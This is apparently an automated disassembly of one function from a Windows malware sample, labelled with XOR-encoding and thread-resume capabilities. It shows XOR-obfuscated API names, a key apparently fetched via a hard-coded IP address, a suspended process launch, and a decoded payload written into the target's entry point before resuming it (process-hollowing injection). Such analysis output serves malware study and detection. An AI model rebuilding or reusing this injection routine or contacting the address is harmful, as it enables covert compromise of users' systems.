Function at 0x1400020f0
Capabilities:
Encode data using xor
Resume thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x510]
sub rsp, 0x610
mov rax, qword [0x140037040]
xor rax, rsp
mov qword [rbp + 0x500], rax
lea rdx, str.185.208.158.169
lea rcx, [rbp - 0x18]
call fcn.140003390
nop
lea rdx, str._xor.txt
lea rcx, [rbp - 0x40]
call fcn.140003390
nop
lea rdx, [rbp - 0x40]
lea rcx, [rbp - 0x18]
call fcn.140001da0
movsx edx, al
movd xmm3, edx
punpcklbw xmm3, xmm3
punpcklwd xmm3, xmm3
pshufd xmm3, xmm3, 0
xor r13d, r13d
mov eax, r13d
lea r15, [0x140037c30]
nop dword [rax + rax]
xor byte [rax + r15], dl
inc rax
cmp rax, 0xe
jb 0x140002180
movdqa xmm1, xmm3
movdqu xmm0, xmmword [0x140037c18]
xorps xmm1, xmm0
movdqu xmmword [0x140037c18], xmm1
xor byte [0x140037c28], dl
movdqa xmm2, xmm3
movdqu xmm0, xmmword [0x140037c40]
xorps xmm2, xmm0
movdqu xmmword [0x140037c40], xmm2
mov eax, 0x10
mov ecx, eax
lea r12, [0x140037c40]
nop
xor byte [rcx + r12], dl
inc rcx
cmp rcx, 0x12
jb 0x1400021d0
movdqa xmm1, xmm3
movdqu xmm0, xmmword [0x140037c58]
xorps xmm1, xmm0
movdqu xmmword [0x140037c58], xmm1
mov rcx, rax
lea r8, [0x140037c58]
nop
xor byte [rcx + r8], dl
inc rcx
cmp rcx, 0x19
jb 0x140002200
movdqu xmm0, xmmword [0x140037c78]
xorps xmm3, xmm0
movdqu xmmword [0x140037c78], xmm3
lea rsi, [0x140037c78]
nop word [rax + rax]
xor byte [rax + rsi], dl
inc rax
cmp rax, 0x1f
jb 0x140002230
mov r8, 0xffffffffffffffff
mov rbx, r8
inc rbx
cmp byte [rsi + rbx], r13b
jne 0x140002246
lea rcx, [rbx + 1]
mov eax, 2
mul rcx
cmovb rax, r8
mov rcx, rax
call fcn.14001371c
mov rdi, rax
mov rdx, r13
test rbx, rbx
je 0x140002370
cmp rbx, 4
jb 0x140002360
lea rax, [rbx - 1]
lea rax, [rdi + rax*2]
lea rcx, [rsi - 1]
add rcx, rbx
cmp rdi, rcx
ja 0x14000229d
cmp rax, rsi
jae 0x140002360
cmp rbx, 0x20
jb 0x140002325
mov rax, rbx
and eax, 0x1f
mov rcx, rbx
sub rcx, rax
lea r8, [rdi + 0x20]
nop word [rax + rax]
movq xmm0, qword [rdx + rsi]
punpcklbw xmm0, xmm0
psraw xmm0, 8
movdqu xmmword [r8 - 0x20], xmm0
movq xmm0, qword [rdx + rsi + 8]
punpcklbw xmm0, xmm0
psraw xmm0, 8
movdqu xmmword [r8 - 0x10], xmm0
movq xmm0, qword [rdx + rsi + 0x10]
punpcklbw xmm0, xmm0
psraw xmm0, 8
movdqu xmmword [r8], xmm0
movq xmm0, qword [rdx + rsi + 0x18]
punpcklbw xmm0, xmm0
psraw xmm0, 8
movdqu xmmword [r8 + 0x10], xmm0
add rdx, 0x20
lea r8, [r8 + 0x40]
cmp rdx, rcx
jb 0x1400022c0
cmp rax, 4
jb 0x14000234c
mov rax, rbx
and rax, 0xfffffffffffffffc
nop dword [rax]
movd xmm0, dword [rdx + rsi]
punpcklbw xmm0, xmm0
psraw xmm0, 8
movq qword [rdi + rdx*2], xmm0
add rdx, 4
cmp rdx, rax
jb 0x140002330
cmp rdx, rbx
jae 0x140002370
nop dword [rax]
nop word [rax + rax]
movsx eax, byte [rdx + rsi]
mov word [rdi + rdx*2], ax
inc rdx
cmp rdx, rbx
jb 0x140002360
mov word [rdi + rbx*2], r13w
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rbx, rax
lea rcx, [0x140031e10]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r14, rax
test rbx, rbx
je 0x14000269e
test rax, rax
je 0x14000269e
mov rdx, r15
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r15, rax
test rax, rax
je 0x14000269e
lea rdx, [0x140037c18]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
test rax, rax
je 0x14000269e
mov rdx, r12
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r12, rax
test rax, rax
je 0x14000269e
lea rdx, [0x140037c58]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
test rax, rax
je 0x14000269e
mov dword [rbp + 0x10], 0x68
xorps xmm0, xmm0
movups xmmword [rbp + 0x18], xmm0
movups xmmword [rbp + 0x28], xmm0
movups xmmword [rbp + 0x38], xmm0
movups xmmword [rbp + 0x48], xmm0
movups xmmword [rbp + 0x58], xmm0
movups xmmword [rbp + 0x68], xmm0
mov dword [rsp + 0x68], 0x18
mov qword [rsp + 0x70], r13
mov dword [rsp + 0x78], r13d
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x10]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov ebx, 4
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], r13d
lea r9, [rsp + 0x68]
lea r8, [rsp + 0x68]
xor edx, edx
mov rcx, rdi
call r15
test eax, eax
je 0x14000269e
mov dword [rbp - 0x50], r13d
lea rax, [rbp - 0x50]
mov qword [rsp + 0x20], rax
mov r9d, 0x30
lea r8, [rbp - 0x80]
xor edx, edx
mov rcx, qword [rsp + 0x50]
call r14
test eax, eax
jne 0x14000269e
mov rdx, qword [rbp - 0x78]
add rdx, 0x10
lea rax, [rbp - 0x48]
mov qword [rsp + 0x20], rax
mov r9d, 8
lea r8, [rbp + 0x80]
mov rcx, qword [rsp + 0x50]
call rsi
test eax, eax
je 0x14000269e
mov rdi, qword [rbp + 0x80]
lea rax, [rbp - 0x48]
mov qword [rsp + 0x20], rax
mov r9d, 0x200
lea r8, [rbp + 0x300]
mov rdx, rdi
mov rcx, qword [rsp + 0x50]
call rsi
test eax, eax
je 0x14000269e
mov eax, dword [rbp + 0x33c]
add eax, 0x28
mov r10d, dword [rbp + rax + 0x300]
add r10, rdi
lea rdx, [rbp + 0x90]
lea rax, [0x140031ff0]
nop
movups xmm0, xmmword [rax]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rdx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rdx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rdx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rdx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rbx, 1
jne 0x140002530
movups xmm0, xmmword [rax]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rdx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rdx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rdx + 0x50], xmm1
movzx ecx, word [rax + 0x60]
mov word [rdx + 0x60], cx
movzx ecx, byte [rax + 0x62]
mov byte [rdx + 0x62], cl
mov rax, r13
movdqa xmm2, xmmword [str.UUUUUUUUUUUUUUUU_]
nop word [rax + rax]
movdqu xmm0, xmmword [rbp + rax + 0x90]
xorps xmm0, xmm2
movdqu xmmword [rbp + rax + 0x90], xmm0
movdqu xmm0, xmmword [rbp + rax + 0xa0]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rbp + rax + 0xa0], xmm1
movdqu xmm0, xmmword [rbp + rax + 0xb0]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rbp + rax + 0xb0], xmm1
movdqu xmm0, xmmword [rbp + rax + 0xc0]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rbp + rax + 0xc0], xmm1
add rax, 0x40
cmp rax, 0x240
jb 0x1400025d0
cmp rax, 0x263
jae 0x140002657
xor byte [rbp + rax + 0x90], 0x55
inc rax
cmp rax, 0x263
jb 0x140002644
lea rax, [rbp - 0x20]
mov qword [rsp + 0x20], rax
mov r9d, 0x263
lea r8, [rbp + 0x90]
mov rdx, r10
mov rcx, qword [rsp + 0x50]
call r12
test eax, eax
je 0x14000269e
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rbp - 0x28]
cmp rdx, 7
jbe 0x1400026de
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400026d9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002764
call fcn.140009db0
movdqa xmm0, xmmword [0x140032260]
movdqu xmmword [rbp - 0x30], xmm0
mov word [rbp - 0x40], r13w
mov rdx, qword [rbp]
cmp rdx, 7
jbe 0x14000272c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002727
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000275e
call fcn.140009db0
xor eax, eax
mov rcx, qword [rbp + 0x500]
xor rcx, rsp
call fcn.140009d90
lea r11, [rsp + 0x610]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400136a4
nop
call fcn.1400136a4
nop
int3